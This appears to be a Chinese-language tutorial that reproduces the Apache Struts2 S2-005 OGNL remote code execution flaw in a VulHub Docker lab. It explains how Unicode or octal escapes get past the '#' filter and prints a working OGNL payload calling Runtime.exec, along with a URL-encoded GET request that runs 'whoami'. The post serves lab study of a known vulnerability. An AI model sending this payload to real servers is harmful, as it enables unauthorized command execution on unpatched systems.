struts2漏洞复现005
时间: 2025-03-22 21:09:10 浏览: 32
### 关于Struts2 S2-005 RCE漏洞复现
S2-005是一个远程代码执行(RCE)漏洞,其根本原因在于官方在修复S2-003时未能完全封堵攻击路径。具体来说,在S2-003中引入了对`#`符号的过滤机制以防止访问Ognl上下文对象,但由于未考虑Unicode编码或其他转义字符形式(如`\u0023`或`\43`),攻击者可以通过这些方式绕过限制并重新获取对Ognl上下文的访问权限[^2]。
此外,S2-005还涉及绕过了官方设置的一些安全策略,例如禁止静态方法调用和类方法执行的功能。这使得即使存在一定的防护措施,攻击者仍能通过精心构造的payload实现任意代码执行。
#### 环境搭建
为了验证该漏洞的行为,可以利用VulHub项目快速部署测试环境。以下是基于VulHub的具体操作:
1. **启动Docker容器**
使用以下命令拉取并运行包含此漏洞版本的镜像:
```bash
docker pull vulhub/struts2:s2-005
docker run --rm -it -p 8080:8080 vulhub/struts2:s2-005
```
2. **确认服务状态**
打开浏览器访问目标URL `http://localhost:8080/struts2-blank/example/HelloWorld.action` 并确保页面正常加载。
---
#### 构造Payload
针对S2-005漏洞的核心思路是利用Ognl表达式的特性来触发恶意行为。下面提供一种典型的payload结构用于演示目的:
```plaintext
%{(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('id'))}
```
上述payload的作用如下:
- 设置`denyMethodExecution`属性为`false`允许方法执行;
- 同时开启`allowStaticMethodAccess`以便支持静态方法调用;
- 调用了Java标准库中的`Runtime.exec()`函数执行系统指令(此处仅为示例展示,实际环境中可替换为目标命令)。
注意:如果遇到防御机制阻止直接输入`#`符号,则尝试将其替换成其他形式,比如`\u0023`或者八进制表示法`\43`。
---
#### 测试过程
将准备好的payload嵌入到请求参数中发送给服务器端口监听的服务即可完成整个流程模拟。例如采用Burp Suite工具抓包修改GET请求为例:
原始请求样例:
```http
GET /example/HelloWorld.action?name=hello HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 ...
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
篡改后的请求应类似于这样:
```http
GET /example/HelloWorld.action?name=%25%7B(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('whoami'))%7D HTTP/1.1
Host: localhost:8080
...
```
成功后会在响应数据里看到类似当前登录用户的名称作为反馈证明已达成预期效果。
---
### 注意事项
尽管以上描述提供了详细的实验指导,但在真实世界应用环境下实施此类活动前务必获得授权许可以免触犯法律条款规定。
阅读全文
相关推荐
















